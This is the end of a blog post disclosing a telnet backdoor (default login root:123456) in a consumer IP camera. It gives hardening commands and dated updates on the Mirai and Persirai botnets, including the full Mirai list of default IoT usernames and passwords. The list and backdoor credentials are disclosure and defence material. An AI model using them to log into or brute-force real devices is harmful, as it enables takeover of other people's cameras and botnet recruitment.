It is time to recap what we have. There is an undocumented telnet port on the IP camera, which can be accessed by default with root:123456, there is no GUI to change this password, and changing it via console, it only lasts until the next reboot. I think it is safe to tell this a backdoor.

With this console access we can access the password for the FTP server, for the SMTP server (for alerts), the WiFi password (although we probably already have it), access the regular admin interface for the camera, or just modify the camera as we want. In most deployments, luckily this telnet port is behind NAT or firewall, so not accessible from the Internet. But there are always exceptions. Luckily, UPNP does not configure the Telnet port to be open to the Internet, only the camera HTTP port 81. You know, the one protected with the 4 character numeric password by default.

Last but not least everything is running as root, which is not surprising.

My hardening list

I added these lines to the end of /system/init/ipcam.sh:

sleep 15
echo 'root:CorrectHorseBatteryRedStaple'|chpasswd

Also, if you want, you can disable the telnet service by commenting out telnetd in /system/init/ipcam.sh.

If you want to disable the cloud connection (thus rendering the mobile apps unusable), put the following line into the beginning of /system/init/ipcam.sh

iptables -A OUTPUT -p udp ! --dport 53 -j DROP

You can use OpenVPN to connect into your home network and access the web interface of the camera. It works from Android, iOS, and any desktop OS.

My TODO list

Investigate the script /system/system/bin/gmail_thread
Investigate the cloud protocol * - see update 2016 10 27
Buy a Raspberry Pie, integrate with a good USB camera, and watch this IP camera to burn

A quick googling revealed I am not the first finding this telnet backdoor account in IP cameras, although others found it via JTAG firmware dump.

And 99% of the people who buy these IP cameras think they will be safe with it. Now I understand the sticker which came with the IP camera.

When in the next episode of Mr. Robot, you see someone logging into an IP camera via telnet with root:123456, you will know, it is the sad reality.

If you are interested in generic ways to protect your home against IoT, read my previous blog post on this.

Update: as you can see in the following screenshot, the bad guys already started to take advantage of this issue ... https://www.incapsula.com/blog/cctv-ddos-botnet-back-yard.html

Update 20161006: The Mirai source code was leaked last week, and these are the worst passwords you can have in an IoT device. If your IoT device has a Telnet port open (or SSH), scan for these username/password pairs.

root xc3511
root vizxv
root admin
admin admin
root 888888
root xmhdipc
root default
root juantech
root 123456
root 54321
support support
root (none)
admin password
root root
root 12345
user user
admin (none)
root pass
admin admin1234
root 1111
admin smcadmin
admin 1111
root 666666
root password
root 1234
root klv123
Administrator admin
service service
supervisor supervisor
guest guest
guest 12345
guest 12345
admin1 password
administrator 1234
666666 666666
888888 888888
ubnt ubnt
root klv1234
root Zte521
root hi3518
root jvbzd
root anko
root zlxx.
root 7ujMko0vizxv
root 7ujMko0admin
root system
root ikwb
root dreambox
root user
root realtek
root 00000000
admin 1111111
admin 1234
admin 12345
admin 54321
admin 123456
admin 7ujMko0admin
admin 1234
admin pass
admin meinsm
tech tech
mother fucker

Update 2016 10 27: As I already mentioned this at multiple conferences, the cloud protocol is a nightmare. It is clear-text, and even if you disabled port-forward/UPNP on your router, the cloud protocol still allows anyone to connect to the camera if the attacker knows the (brute-forceable) camera ID. Although this is the user-interface only, now the attacker can use the command injection to execute code with root privileges. Or just grab the camera configuration, with WiFi, FTP, SMTP passwords included.
Youtube video : https://www.youtube.com/watch?v=18_zTjsngD8
Slides (29 - ) https://www.slideshare.net/bz98/iot-security-is-a-nightmare-but-what-is-the-real-risk

Update 2017-03-08: "Because of code reusing, the vulnerabilities are present in a massive list of cameras (especially the InfoLeak and the RCE),
which allow us to execute root commands against 1250+ camera models with a pre-auth vulnerability. "https://pierrekim.github.io/advisories/2017-goahead-camera-0x00.txt

Update 2017-05-11: CVE-2017-5674 (see above), and my command injection exploit was combined in the Persirai botnet. 120 000 cameras are expected to be infected soon. If you still have a camera like this at home, please consider the following recommendation by Amit Serper "The only way to guarantee that an affected camera is safe from these exploits is to throw it out. Seriously."
This issue might be worse than the Mirai worm because these effects cameras and other IoT behind NAT where UPnP was enabled.
http://blog.trendmicro.com/trendlabs-security-intelligence/persirai-new-internet-things-iot-botnet-targets-ip-cameras/

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How I Hacked My IP Camera, And Found This Backdoor Account

The obvious problems

The double-blind command injection

My hardening list

My TODO list

Arquivo do blogue

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